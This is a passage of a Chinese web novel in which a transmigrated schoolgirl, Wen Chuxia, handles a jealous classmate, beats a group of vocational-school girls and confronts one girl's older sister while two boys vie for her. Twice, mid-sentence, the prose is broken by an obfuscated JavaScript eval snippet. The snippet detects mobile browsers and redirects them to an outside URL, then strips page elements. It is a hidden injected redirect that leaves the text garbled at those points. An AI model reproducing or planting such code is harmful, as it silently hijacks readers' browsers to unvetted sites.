该怎么对你说……” 怎地,只要学霸戴耳机就一定是在听听力吗,就不能听点儿悲伤小情歌了? 温初夏有些哭笑不得,一时间不知道该怎么回答。 但苏筱筱直接把她的沉默当做了默认,于是冷笑更甚,一双精致的黑亮小皮鞋避开地上的脏污,几步走到温初夏面前,两人之间只相隔半米。 她挖苦道:“为了今天出风头,你肯定提前准备了很长时间吧?哼,也是难为你了,平时英语成绩从来没进过年纪前十的人,能表现成这样……” 看见温初夏眼下淡淡的乌青,苏筱筱嘴角的弧度一僵。 “黑眼圈这么重,你昨晚不会在熬夜偷偷背单词吧?”她阴阳怪气。 我是在熬夜发愁谢谢。 温初夏真有点无语,忍不住提醒:“那话筒是你递给我的。”又不是我主动想发言,请问你是用屁股猜出我提前准备了吗? “你要是不提前准备,怎么可能说的那么好,就算我不把话筒塞给你,你也肯定会举手发言的。”苏筱筱十分笃定。 温初夏:? 好熟悉的感觉啊。 这唯我独尊六亲不认的脑回路,完全就是恶毒女配的标配啊,和我之前穿过的角色真像。 相比之下,周雅宜那根小嫩草简直不够看。 “上次你害我落水,让我感冒了两天,可惜事后我没收拾成你,本来是打算今后都放你一马的,但没想到你还是处处和我作对……” 听听,听听!简直太是那味儿了! 温初夏真想为她鼓掌。 就是这样,管它什么事实什么逻辑,只要我看你不顺眼,无论你做什么,都是在和我作对。 苏筱筱丝毫不知道温初夏居然在心里夸自己,她一点点逼近,涂了睫毛膏的翘睫慢慢扇动,唇彩亮晶晶,湿热的呼吸扑到温初夏的鼻尖。 标准的放狠话前摇。 果然下一秒,温初夏就看见她挑了挑眉,轻声慢语道:“你等着,我一定找人收拾你。” 没有人可以抢她的风头,没有人能够摧毁她的优越感。 她一定要让温初夏付出代价,一定要让她向自己低头道歉。 温初夏心说咱俩的距离是不是有点太暧昧了,直接抬手在苏筱筱肩膀上一推,趁她往后踉跄一步的同时向前了一步,接着,清纯小白花的面具彻底撕掉了。 她看着苏筱筱暴露出惊慌失措的脸,冷冷一笑,眼下的泪痣仿佛一滴毒液。 “好啊,我、等、着。” 这时,一个人忽然出现在苏筱筱身后。 温初夏余光瞥到来的人是谁,连忙把脸上神经质的表情一收,故意歪着头笑着道:“时准,你来啦!” 听到这话,不只是苏筱筱,连时准也愣住了。 心里瞬间涌起一股温热的酸胀感。 她已经很久没有用这种热切的语气和自己讲话了。 苏筱筱想说的都已经说完了,没有再呆在这里的必要,于是她最后剜了温初夏一眼,转身离开。 留剩下的两人面面相觑,气氛各有各的微妙。 “既然你没有犯错, 为什么还要躲着我, 我每天都这么的难过, 到底我做错了什么……” 温初夏把耳机摘了,并打算将这首歌永久拉入黑名单。 或许是觉得受宠若惊,时准愣了好久才开口询问:“刚刚哪个人是谁?你和她……”离这么近干嘛? 温初夏有点想笑,要是让苏筱筱知道自己勤勤恳恳在各种人多的大场合刷过脸,并且半小时前才当众发过言,居然还会有人不认识她,绝对会气到炸。 “哦,她是我同班同学。”温初夏一脸淡定地扯着谎,“这不是刚听完讲座吗,她有问题想和我交流一下,刚好你来的时候我俩就说完了,她就走了。” 时准感觉这话有点不太对劲,但又不知道具体是哪儿不对劲,他眨了眨眼,余光捕捉到了温初夏脚后地上的一根细长条,心下一动。 “你身后那是……” 温初夏回头一看,心里立刻大声“卧槽”,粉团子熟练地把纸团塞进耳朵。 “这、这不是我的。” 一双眼睛急切又真挚地看着时准,几乎没有任何思考的,温初夏一口咬定:“是刚才苏筱筱要抽,我不想吸二手烟,所以就给她抢了扔地上了,你可别误会我!” 时准听了,迟缓地点了下头:“哦。” 也不知道信也不信。 怕他会揪住不放,温初夏忙转移开话题:“你来找我做什么?” 看她多贴心,都不问“你是怎么找到我的”这种会令人尴尬的问题。 时准这才想起自己来的意图,他拿出身后的草莓牛奶,递到温初夏面前,“这是我妈妈让我带给你的,说你好久都不去家里做客了,她怪想你的。” 你确定是林茵陈想我,不是你想我? 虽然温初夏十分怀疑这话的可信度,但还是主动收下牛奶,笑不达心地说了声谢谢,然后不再开口。 时准眼见她揣着明白装糊涂,只能把话说的再直白一点:“明天周五放学后你有空吗,去我家坐坐吧。” 他知道,周五温初夏不会给宋云泽补习。 温初夏感觉手里的牛奶盒秒变烫手山芋,只能硬着头皮打哈哈道:“我这两天挺忙的,最近物理竞赛不要开始了吗,高老师经常放学后叫我去他办公室,给我讲题,我也不知道明天有没有空。” 但她没有把话说死:“要不你稍微等一等,我明天给你答复,好吗?” 好吗? 多么温柔的问话。 时准盯着温初夏眼下的那颗泪痣,很灵动,很清纯,仿佛黑洞般能轻易吸食掉自己的灵魂,他不由自主地点点头:“好,那我等你消息。” 和时准分开后,温初夏立刻拉下脸。 “宿主,你明天真要去时家吗?”粉团子取出并没有多少卵用的纸团。 “不去。”我找死吗。 “那你为什么不直接拒绝啊?先给他希望,然后又让他失望,不是更残忍吗……” 温初夏烦的要死,听到这些话只觉得头皮发紧,跟被念紧箍咒的孙悟空一样,头要炸了。 于是她把发圈刷下去,用力抓了抓头,一头柔顺的长发瞬间乱的跟被炮轰过似的,活像冷宫里疯了的妃子。 粉团子忙闭上嘴。 惹不起,不敢惹。 温初夏的躁郁状态一直持续到下午放学后,并且半点儿没有随时间的流逝而慢慢减轻的意思,反而是越积越多,越闷越烦。 她把笔一扔,骂道:“这都听不懂,笨死你得了!” 宋云泽看看可怜的笔,又看看一副被气的不轻的温初夏,张了张嘴,有点百口莫辩: “可这是竞赛题诶,你明明昨天还夸我进步大来着,两个月能把数学提高到这种水平,我已经很不错了。” “所以呢,你就开始骄傲上了?”温初夏拍拍桌子,教育人的话张口就来:“不要和从前的自己比,要多和身边的人比一比。” “和谁比?时准吗?” 她没想到宋云泽会这么说,以往嚣张桀骜的一双眼睛,此刻却冷冷地看着她,仿佛在质问,还透露出一丝连他自己都没有察觉的,鄙夷。 这无疑是往温初夏火药桶般的心情里丢进一根燃烧的火柴。 于是她当机立断站起来,开始收拾东西。 “你干嘛啊?”宋云泽慌了神,也忙站起来。 温初夏没理他,继续快速地收着书本卷子,俏丽沉默的侧脸神情紧绷,一副风雨欲来的模样。 “对不起对不起。”宋云泽有些语无伦次,急忙道歉说:“我错了,不该和你顶嘴,小温老师教训的对,我确实是飘了,稍微取得了一点进步就……” 温初夏忽然抬头看着他。 宋云泽立刻闭嘴,以为她要大发慈悲地继续骂他。 谁知这人却问:“明天下午放学之后,你有空吗?” 虽然声音依旧是冷的,但宋云泽却松了好大一口气,点头:“有啊,当然有。” “行。”温初夏也点了点头,说:“明天下午放学,咱俩去游乐园吧。” “那当然没问题啊,你说什么就……” 宋云泽忽然反应过来,“你说什么?游乐园??!” 温初夏看着他,漂亮精致的脸上没什么情绪:“怎么,不乐意啊?” 宋云泽感觉自己的心脏差点儿飞出来,一双眼睛瞪得老大,消化掉这个消息后,他目光炯炯地笑着说:“乐意!怎么会不乐意!” “明天我骑车带你去怎么样?”少年的声音里满是热烈和期待,“你还没坐过我的后座呢,我车技可好了,绝对不会摔着你的。”他信誓旦旦地保证。 “行啊。”温初夏不咸不淡地答应,然后拉上拉链,背上书包,“我先走了。” 宋云泽一愣:怎么还是要走啊? 但因为明天要一起去游乐园的消息让他太高兴,所以宋云泽没有强留下温初夏,饭要一口一口吃,路要一步一步走,这个道理他还是懂的。 宋云泽送温初夏离开,回来时碰到了不知道温初夏已经走了,端着两杯果汁想要上楼给两个小孩送温暖的宋念慈。 “你刚去哪儿了?”宋念慈拦住她弟,皱着眉问:“不好好在房间里补课学习,跑楼下来干嘛?刚还你一把车钥匙你就开始放肆了,找死啊。” 没想到宋云泽居然不还嘴,不仅不还,他还一脸荡漾地从她手里拿过一杯果汁,和她碰了碰杯,真诚道:“姐你教训的太对了,我这就上楼学习去,拜拜。” 说完,端着果汁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502011|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。 留下宋念慈一脸懵逼。 她老弟这是,学习学傻了??? …… 温初夏骑自行车回家,一路上,她都非常用力地瞪着踏板,完全不管右腿的旧伤,车速巨快,硬是把暮春徐徐的晚风吹出了八级大风的架势。 但遗憾的是,风再大也没能把她脑子里的烦恼吹走。 把自行车锁在居民楼外的停车棚,温初夏脚底发软地走进回家的必经之路,一条狭窄的巷子,打算回去后好好和粉团子合计一下接下来的计划,没想到却被堵了。 一把冰凉的水果刀隔着空气,在她妍丽无暇的脸颊边划了划,锋利的刀剑反射出令人胆寒的白光。 温初夏立刻站定不动,眼睁睁看着这条三米宽不到的羊肠小道里,出现了六七个人。 全是女的,十六七岁,打扮各有各的非主流,有的烫发有的纹身有的满脸钉,但无一例外都穿着附近一所职高的运动款校服,上面画着花花绿绿的个性图案。 显然,她们是职高的学生。 玩刀的女生应该是这群人的头头,因为是她最先堵的人,也是她最先开的口:“温初夏,是吧?” “有事?”温初夏挑眉。 女生露出一个不符合年纪的恶劣笑容,相较于苏筱筱的笑里藏刀,她这明显就是刀里藏笑了,又把刀尖拿的离温初夏白嫩的皮肤近了些,问: “你惹了不该惹的人,对方让我们来好好教训你一顿,你心里应该有数吧?” 谁知温初夏却说:“没数。” 女生:??? “但另一件事情,我倒是很有数。” 话说到一半,温初夏冷不丁一把握住女生的手腕,骤然用力,“哐当”一声,水果刀掉落地上。 “就是你们惹了不该惹的人。” 别怪她欺负未成年,要怪就怪她们运气太差,非要在自己心情不好想揍人的时候找上门来。 …… 十分钟后,一群女生倒地的倒地,扶墙的扶墙,每个人脸上都面露痛苦与恐惧的神情。 她们全都被温初夏揍怕了,很想溜之大吉,但奈何老大还在女魔头手里。 “啊——!” 徐黎痛极了,她被温初夏单膝压在脏兮兮的地上,虽然毫无还手之力,但还是坚强地放着狠话: “你、你给我等着,我明天一定要再找更多的人来收拾你!” 闻言,温初夏凉飕飕地笑了一声,然后一把薅住徐黎挑染了酒红色的头发,往后用力一扯,让她饱含热泪的眼睛能清楚地看到自己。 “松开!你个贱人快给我松开!” 徐黎痛的直喘,她怎么都没想到,温初夏看着这么娇滴滴手无缚鸡之力的一个人,手劲怎么会这么大,比自己还要大得多。 徐黎自认为手劲不错,平时没事儿就爱和班里的男生扳手腕,其中百分之八十都扳不过她,输掉后心服口服地尊称她一声黎姐。 这回算是碰到硬茬了。 温初夏虽然没放手,但力道松了不少,她乐着道:“好啊,这可是你说的,明天下午五点二十,还是这个地方——你叫什么?几年级几班的?” 徐黎瞬间觉得好受多了,连眼睛都睁大了些,警惕道:“你问这个干嘛??” “怕你怂了不敢来啊。” 温初夏眉峰轻挑。 她有预感,明天自己的心情比今天只会差不会好,在跟宋云泽一起去游乐园之前揍一揍人,应该有利于她放松心情,免得把大事搞砸。 温初夏的脸实在精致权威,徐黎从这种死亡角度仰视都挑不出任何毛病,她后悔不已,心里感叹了句“果然漂亮女人最致命,知人知面不知心”,不情不愿地报了自己的名字和年级班级。 “行了,起来吧。” 压在后背的膝盖离开,她听见姓温的疯婆子威胁地警告:“你要是敢不来,周一我去你教室门口堵你。” 温初夏走后,其余女生赶紧把徐黎扶起来,心有余悸地望了眼温初夏离开的方向,担忧道:“明天怎么办啊黎姐,我、我们真的要来吗?”要来挨打吗? 徐黎碰了碰颧骨的擦伤,痛的她忍不住龇牙,然后捡起地上的水果刀,在手里抛了以下,阴着脸道:“明天多带点儿家伙吧,带点儿厉害的。” 扶着她的女生“啊”了一声,不安地眨着眼问:“我们也要带吗?” 徐黎一看她那样儿就知道她是不敢,烦躁地撒开女生搀扶的手,心想既然这个活儿是自己揽的,那就一人做事一人当。 她把刀叠起踹进校服口袋,对其余人说:“你们明天不用来了,温初夏刚才只点名要我到,你们放学之后赶紧回家,别在外面晃知道吗?” 这疯女人打架手黑成这样,很有可能是在道上混的,她不能把其她人卷进来。 女生们纷纷诚惶诚恐地点头,说知道了。 …… 第二天中午。 午休时间,徐黎从学校偷偷溜回自家的餐饮小店,趁现在是用餐高峰,店里的人不是忙着干饭,就是忙着干活,没人注意自己,顺着狭窄陡峭的楼梯上了二楼。 二楼是仓库,里面堆着成箱的调料食材和饮料,层高很低,空气也憋闷,连徐黎这样身高不到163的青春期女生都得微微躬着腰走,不然就会撞着头。 因为很少来二楼,所以徐黎东翻翻西找找,直到腰都酸了,才终于在角落的纸箱里翻出一把闲置的菜刀,看起来非常唬人。 她蹲下,握着刀柄掂了掂,对这把刀的分量感到颇为满意,心说肯定能吓住那个疯女人,于是把背后的书包扯到前面,想把刀装进去。 结果拉链刚拉开,身后忽然响起一道声音:“徐小妮?” 卧槽! 徐黎吓得魂都飞了,连忙把东西往包里一塞,转身站起来,只听“咚”的一浑厚的闷声,她脑袋撞到了天花板。 “嘶——”徐黎痛死了,一张小脸皱巴巴的,两手捂着头顶,又倒霉又心虚地喊人:“姐……” “你们学校不是中午强制在教室里午休吗,你怎么回来了?吃饭没?” 徐珂走完最后两级台阶,狐疑地看着浑身上下哪儿哪儿都透露出不对劲的妹妹,知道这倒霉孩子怕是又闯祸了。 因为不想弯着腰训话,徐珂拉过塑料矮凳坐下,从这个角度,刚好能看见徐黎书包里装着的东西—— 一把刀柄生了锈的菜刀。 徐珂脸都绿了,当即大喊:“徐小妮!你这是要干什么?!!” 徐黎觉得自己要完了。 姐,如果我说,我拿刀不是为了砍人,而是为了保命,你会相信吗QAQ? 21. 第 21 章 【抱歉啊,下午放学之后我没空,只能改天再去你家拜访阿姨了】 点击发送后,温初夏把手机关机塞进书包的夹层,主打一个眼不见心不烦,然后“啪”的一下倒在课桌上,一副精疲力竭的鬼样子。 上午最后一节刚下课,所有人都在离开教室往食堂走,宋云泽戳戳她的胳膊,问:“怎么了这是?你不去食堂吃饭吗?” 温初夏脸朝下摇了摇头,闷声道:“不了,没什么胃口。” “中午不吃饭怎么行呢,那放学之后还怎么去游乐场玩?”宋云泽很不赞同。 为了晚上的约会,宋云泽今天特意起了个大早,去理发店做了发型,每根发丝的弧度都经过了精心设计,发胶和定型喷雾散发出的香味熏的温初夏一连打了好几个喷嚏。 温初夏沉浸在自己的世界里,没有理人,宋云泽干脆道:“我去食堂给你带回来吧,想吃什么?” 温初夏要死不活地回了一个字:“粥。” 她实在是不想吃东西,只有粥能勉强喝两口。 宋云泽听后,先是一愣:粥?中午食堂有卖粥吗? 他看着温初夏半埋进臂弯的侧脸,眉头紧锁,唇色惨淡,忽然明白了什么,忙郑重地向她保证:“你放心,我一定尽快把粥买回来,你就在教室好好休息。” 说完,就脚步急促地离开了。不知道的还以为他是要去赶飞机。 还趴着的温初夏:? 她想,这孩子是不是有些神经错乱,怎么被使唤了还这么高兴,不会是个抖M吧? 五分钟后,食堂。 宋云泽自己不着急吃,抬头挨个看着窗口上的菜单,寻找卖粥的是哪个。 结果看了大半圈,粥铺没找到,反而先找到了老熟人。 “时准。”宋云泽笑着打招呼,“你来吃饭啊?” 时准闻声立马收了手机,看向宋云泽,发现他身边并有没站着那个熟悉的身影,迟钝地点了点头,道:“对。你怎么一个人啊?” 宋云泽解释说:“温初夏她身体有点不舒服,在教室里休息,我来帮她买午饭,买完给她带回去。” 时准双眼微微睁大,心想—— 温初夏身体不舒服? 怪不得她刚和我发消息说下午没空。 “她是因为什么原因不舒服啊?”时准关切地问,“感冒吗?” 不知为何,宋云泽的脸忽然变得有些红,凑近了小声道:“她生理期肚子疼,想喝粥,你知道哪儿有卖粥的吗?” “中午食堂一层不卖粥,只有二层有。”时准很热心,“我带你去吧,刚好我也想喝粥。” 于是两个男生就一起去二层。 打包好后,时准低头将一罐温热的甜牛奶塞进塑料袋里,外加一根吸管,对宋云泽说:“你帮我带给温初夏吧,她喜欢喝这个,谢谢。” 后面这句话莫名激起了宋云泽的妒忌心:她喜欢喝甜牛奶吗?我怎么不知道。 于是他笑着说:“没事,顺手的事儿嘛。” 然后故作担忧地轻轻叹了口气,道:“也不知道她下午会不会变好一点,不然我俩放学后去游乐园的计划就泡汤了。” 果然,时准立刻抬头看着他,眼里闪动着不可置信的光:“她答应你放学要去游乐园?!” “不是答应。”宋云泽一本正经地纠正,“是她主动提议要和我一起去的。” 时准只觉得浑身上下的血液倒流,他暗暗握紧了拳,问:“什么时候?” “就,昨天下午啊,我来补课的时候。” 说完,时准拍拍时准的肩膀,“谢了啊兄弟,初夏她还在教室等我呢,我先走啦,你自己慢慢吃。” 看着宋云泽的背影轻快地消失在食堂出口,时准的指尖深深陷入掌心,但他并没有感觉到疼,因为相比于手,心脏仿佛被钝刀凌迟的剧痛令他无暇顾及其他。 惨白的大脑里只盘旋着一句话—— 他叫她,初夏。 时准忽然怆然一笑,单薄的肩膀缓缓低垂下去,如同暮春时节开败的花,然后也离开了。 教室。 “你怎么都不喝粥啊?”宋云泽有些幽怨。 温初夏叼着吸管,笔尖在稿纸上胡乱画着,因为心里有些烦,只是随口敷衍道:“都说了,没、胃、口。” 宋云泽看着温初夏这副样子,有点想把她嘴里的吸管抢了扔垃圾桶里的冲动。 但鉴于这么做绝对会被温初夏捶死,宋云泽无奈只能恨恨放弃,然后语气更幽怨地问:“那你还让我买粥干嘛?” “因为本来我就是想随便填填肚子,粥比较好入口,但你又买了更好入口的牛奶,那我肯定选牛奶咯。” 宋云泽:“……” 他要不要告诉温初夏这罐奶其实是时准买的? 还是算了。 只要她不问,我就不主动说。 . 下课铃打响,周五的最后一节课终于结束。 温初夏借口要先回家放个书包,再换身衣服,让宋云泽在教室里等着,宋云泽乖乖答应了。 日落时分,微风中弥漫着即将褪去的暑气,大半的天空被夕阳染成漂亮的焦糖色,阳光斜透过街角茂密的梧桐树枝,投下斑驳的碎影。 温初夏把书包寄存在了街边小卖部的柜台,完事儿后点了给自己点了支架前烟,一吸一呼,口腔喉咙里全是酸甜的血橙和清新的薄荷味儿,很醒神。 她一步一步不急不慢,向巷子的方向走去,猜测徐黎那个小丫头能摇到多少人,她能不能揍爽。 与此同时,高二(三)班教室门口。 “怎么办呀,我联系不上温初夏,她手机关机了!”李书雪右手拿着手机,牙齿焦虑地咬着左手拇指,在走廊里走来走去。 看她急的跟热锅上的蚂蚁一样,旁边的周雅宜虽然也着急,但还是有点不愿意相信,问:“你确定筱筱她又找了人要搞温初夏吗?” “确定,千真万确。” 李书雪停下脚,秀气的眉毛快要挤到一起,“我刚才亲耳听到的苏筱筱在消防通道里跟人打电话,说要对方务必在今晚把温初夏狠狠揍一顿,还补了一句什么‘我的耐心有限’……” 她看到周雅宜拿起手机又放下,然后很是无奈地叹了口气。 反正一时半会儿也找不到人,两人干脆聊起天。 李书雪有点意外地问:“你不是和苏筱筱关系最好吗,跟温初夏也不对付,为什么要和我在这儿一起干着急啊?” 周雅宜不知道该怎么回答,喉咙哽了哽,然后机智地选择反问:“那温初夏还害得你掉进过游泳池呢,你为什么要帮她?” 于是李书雪也沉默:“……” 完蛋,这让她要怎么回答,总不能直接说自己是想抱稳富婆的大腿吧? 好在这时,宋云泽出现了。 两个女生仿佛看到了救命稻草一般,急忙围上去,问他知不知道温初夏家的具体位置。 宋云泽刚在卫生间捯饬了十分钟发型,还不知道在自己臭美的这段时候里发生了什么,一脸懵逼地听李书雪讲完前因后果之后,瞬间也慌了神。 “我也不清楚她具体住在哪儿啊,我没去过……” 忽然,宋云泽一拍脑门:“有一个人,他肯定知道!” 汽车在宽阔的马路上匀速行驶,前排的驾驶位,潘达表面专心地开着车,实则目光时不时就透过后视镜瞟一眼后面的时准。 年轻的少爷闭着眼,碎发隐约遮挡住他微微皱起的乌眉,纤薄的眼皮宛如蝉翼,如果凑的足够近,还能看见淡青色的血管在上面游走。 他仰头靠在靠垫上,制服下的胸膛随着呼吸缓慢起伏,鸦羽的睫毛不时轻颤,就连小憩都不安稳,像是生了重病。 潘达也算从小看着时准长大的,时准一上车他就感觉出来了,少爷今天很不开心,自己在时家工作这么多年,从没见他这样低沉过。 但身为司机,时准不主动说,潘达就不好多问,只是默默提高了车速,希望能快点把少爷送到家。人无论心情多糟糕,只要一回到家,准会放松不少。 安静的车厢响起电话铃声,时准睁开有些疲惫惺忪的眼,拿起手机,接听。 “喂……”第一句话的嗓音还是倦倦的,紧接着就瞬间变得急切—— “你说什么?!” 潘达精神一振,险些一脚刹车踩到底。 “好,我把位置发你,你快点去找她。” 电话挂断,时准立刻对潘达道:“潘叔,掉头回学校。” 潘达忙降低车速,转动方向盘的同时问:“少爷,是出什么事儿了吗?” “对,很急,你尽量快点。” “好好好,我知道了。” 电话那头传来徐黎哼哼唧唧的声音: “我现在就呆在店里啊,听你的话哪儿也没去,你要是不信,我让妈妈来和你说句话好了,妈——”她大喊。 “唉行了,叫魂呐!”徐珂步子顿住,“现在外卖订单爆了,妈妈她们忙着呢,你别打扰她。” 徐珂掀起眼皮,看了眼台阶之下的羊肠小巷。 滚烫的夕阳直直闯入狭窄的巷口,让路面看起来像贴满了金箔,但两侧,饱经风霜的红砖墙,爬满碧绿爬山虎的铁栅栏仍难掩破败。 徐珂垂眸继续往下走。 “那个清荟的小姑娘确定是五点二十到?你们约架的地方也太寒酸了吧,人家一贵族学校的富家小姐怎么会来这种地方,你确定没骗我?” “当然了,我哪儿敢骗您啊。” 给徐黎十个胆子她都不敢骗她姐,又说:“联系我的那个人跟我说她不是富二代,是特优生,全靠成绩好才侥幸进的清荟。” “好学生?”徐珂挑眉。 “好学生还打架是吧?”徐黎贴心地帮她姐补齐这句话,翻了个白眼,提醒说: “你可别因此对她有什么滤镜啊,这人打起架可凶了,拳出得又快又猛,还特别爱薅人头发,我直到现在头皮还疼着呢,姐你可一定要帮我报仇啊!” “报你大爷。”徐珂走下台阶,停在离巷子口五六米远的地方,“老娘又不是来替你打架的。” 电话那头一听,立马急了:“可你答应过的啊!” 徐珂纠正:“我答应的是替你收拾烂摊子,不是替你打架。你看你天天不好好学习只想着混社会充老大,把脑子混傻了吧。” 徐黎知道自己接下来无论说什么都会被骂,所以干脆没吭声。 徐珂:“回去我再收拾你。” 挂了电话,徐珂把手机塞进牛仔裤口袋,一双上调的丹凤眼在夕阳的直射下忍不住眯起,静等对方的到来。 很快,刺目的阳光被一个人影挡住。 “嗯?” 如同冰镇气泡水般清冽动听的嗓音传入耳朵,带着明显的疑惑和不满:“就你一个吗?” 夕阳被遮挡住后,徐珂首先感觉面上微凉,接着眼睛完全睁开,视线迅速聚焦,她看清了自家小妹口中打架很猛的少女—— 对方身穿全套的清荟春季制服,上半身的外套是藏青色西装式校服,扣子没扣,露出里面柔软洁白的衬衣,下摆一丝不苟地全部扎进格纹百褶裙。 及腰的黑色直发显然经过了精心的打理,看起来异常顺滑,泛着冷调的光泽;发尾修剪出错落的层次,减轻因为头发太黑太密而带来的厚重感,边缘被夕阳染成了棕色。 一张巴掌大的小脸未施粉黛,却美的足够让人惊心动魄,只是此刻脸上表情淡淡的,眼角眉梢都带着春寒料峭般的冷,仿佛萦绕着清晨飘渺湿冷的雾气,让人心生距离感。 看到自己后,她先是皱了皱眉,低头扫了眼左手的腕表,发现时间没错后又把手放下,抬起头,表情立刻变得意兴阑珊起来。 “你走吧。”她站在巷口,语气带着十足的轻蔑:“就一个,根本不够我热身的,算你运气好。” 徐珂:嘿,这小屁孩,很嚣张嘛。 大概是平时在家教训徐黎教训习惯了,此刻面对和自己妹妹同龄的温初夏,徐珂难免不会升起几分好为人姐的念头。 于是她叫住了想要离开的人:“等等。” “有屁快放。” 少女不耐烦地拖着嗓子,转过身,睫毛在脸颊投下两道清晰的阴影。 这倒霉样子,简直和自家妹妹一毛一样。 “你平时就只会用拳头来解决问题吗?” 徐珂完全忘了温初夏是学霸这回事,大概是因为她长了一张太过夺目的脸。 温初夏听了,先是愣住一秒,随即噗嗤一声笑出来,嘲讽道:“不然呢,你不打人家,人家就要来打你。” 她动了动手指,又觉得烦了,于是毫不避讳地抽出一根烟点上,在徐珂诧异的目光下慢条斯理地吐出一口绵长的烟雾。 伴随着微弱的叹息声,烟雾升腾,被夕阳染成半透明的鎏金,丁达尔效应显现,漂亮的宛若梦境。 “你、你居然还抽烟??!” 徐珂惊了,但倒不是因为没见过高中生吸烟,初中生吸烟的她都见过,只是单纯觉得这个举动放在精致的仿佛艺术品的温初夏身上,格外违和。 有点像内心腐烂掉的苹果。 见徐珂这副表情,温初夏几乎可以肯定,眼前这位应该是昨天被她揍过的某个女生的家长,来的目的,是为了教育自己改邪归正,和同龄人友好相处。 如果放在平时,温初夏出于懒得和不了解自己的人讲道理的考虑,兴许还会配合对方,耐着性子听他吹一阵无聊的耳旁风,全当见证物种多样性。 但很遗憾,此刻她的心情差到极点,徐珂的话无疑是给她想倾泻坏情绪的欲望找了个极好极好的借口。 于是她立刻迈开步子,走到徐珂面前,趁她没反应过来一把抓住她单薄的衣领。 嘣、嘣。 衬衫最上面的两颗扣子接连飞出,徐珂拧起眉刚要开口说话,突然。 呼—— 世界瞬间变成白茫茫的一片,血橙的酸涩和薄荷的清凉在烟纸燃烧的焦香里扭成螺旋,蛇一样灵活又迅捷地钻入鼻腔。 徐珂被呛到,立刻扭头,闭眼咳嗽起来。 身体的剧烈颤动让扣子又崩了一颗,但揪着她衣领的力道却没有松开半分,反倒还用力把她往前一扯。 这句话几乎是贴着她的脸滑入耳朵的: “你以为你是谁,也敢教训我?” 徐珂顿时气不打一处来,她回过头,想看清温初夏这张漂亮矜贵又令人胆寒的脸。 此时恰好一阵轻风吹过,甜腻又清新的烟雾瞬间消散殆尽,露出一双黑冰晶般的眼睛。 瞳孔是亮泽的黑,温度则会让人感觉坠入冰窟。 像黑色玻璃珠,又沉又冷,砸在身上格外的疼。 被这样一双眼睛注视着,徐珂感觉自己像是被扼住了喉咙,没有办法说话,甚至不能发出哪怕一个单调的音节。 忽然,闪动着危险红光的火星迅速靠近她的脸,如毒舌吐出蛇信,滚烫的温度让徐珂更加不敢动弹,连吞咽口水的动作都僵住了。 她以为温初夏是要用烟头烫自己,没想到烟头只是从她的下巴和脖子之间危险地穿过,接着听见“嗤”的一声微响。 烟头被摁在了红砖墙上,火星熄灭,掉落在地。 “你这衣服多少钱?我赔。” 徐珂闻言下意识看了眼自己的衣领,发现最上面的三颗扣子全崩了,被温初夏揪着往前拉,能一览无余地看见里边小麦色的皮肤,左乳上方的黑痣,和沟。 虽然温初夏是个女生,还是个小姑娘,但她的脸还是控制不住烧了起来,愤怒道:“我看在你是个高中生的份上不想和你动手,你是不是还真以为我怕你了?!” 就在她抬手,想把温初夏的爪子掰开的时候,一个冰凉扁平的长方体忽然塞进缝隙,惊的她身体一颤,脖子爆起鸡皮疙瘩。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502012|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿着吧。”她听见温初夏笑嘻嘻地轻声说,于此同时,巷子外传来机车的轰鸣,声音越来越近。 “够你买一万件了。” 话音刚落,一辆通体哑光黑的机车蹿进狭窄的巷子,亮白的车灯直直打在徐珂身上,刺的她眼睛一痛,下意识别过脸去,巨大的轰鸣声在耳边萦绕,释放出危险的信号。 下一秒,揪着的那只手力道忽地松开,然后往她胸口一推。 声音说:“走。” 徐珂捂住衣领,转身就跑。 身后的宋云泽长腿一扫下了车,他将头盔摘下,来到温初夏面前,两手握住她柔弱纤细的胳膊,担忧地问:“怎么样,你有没有受伤?” 闻言,温初夏那双原本毫无波澜的眼眶瞬间染上脆弱的红晕,她吸了吸鼻子,颤抖的声线彰显出无助和后怕:“差点就受伤了,幸好你来的及时。” 宋云泽一看她这样,心都快碎了,大着胆子轻轻抱了抱她,感受到怀里的少女身体如纸片一般的薄,还在微微颤抖,瞬间心疼坏了。 “别怕别怕。”他拍了拍温初夏的背,“我们现在就去警察局报警。” 温初夏:? “不、不用了吧。”她忙睁开少年的怀抱,“那个女人刚才只是凶了我几句,又没伤到我,警察不会管这种小打小闹的。” 宋云泽却坚持:“那我让我爸出面,他在公安系统有些关系,虽然没法定罪,但至少把那个女的在看守所关几天是没问题的——好歹要给她个教训,不然她之后再来堵你怎么办。” “这好办呀。” 奇怪,泫然欲泣的眼睛忽然变得笑吟吟,清甜的嗓音之下藏着能够蛊惑人心的魅惑: “以后你每天补完课后都送我回家好了。” 两分钟后,轰鸣声驶离巷子。 时准拼劲全力赶来,却只能看见两人同坐一辆机车的背影,以及闻到空气中还未消散的车尾气。 他有些脱力,站着喘了几口气后,感觉双腿快要支撑不住,于是便蹲了下去,将脸埋在臂膀之间。 他的世界一下子变得黑暗、混沌,如同一滩了无生机的泥沼,强烈的耳鸣让他听不到周围任何声音,有的只是胸腔内剧烈的心跳,和急促的喘息。 “咚!咚!咚!咚……” 身体像是在进行某种危险的化学反应,又或是什么难以捉摸难以形容的东西正在急速膨胀、沸腾,于泥沼之下,即将破土而出。 为什么要骗我? 是因为怕我伤心吗? 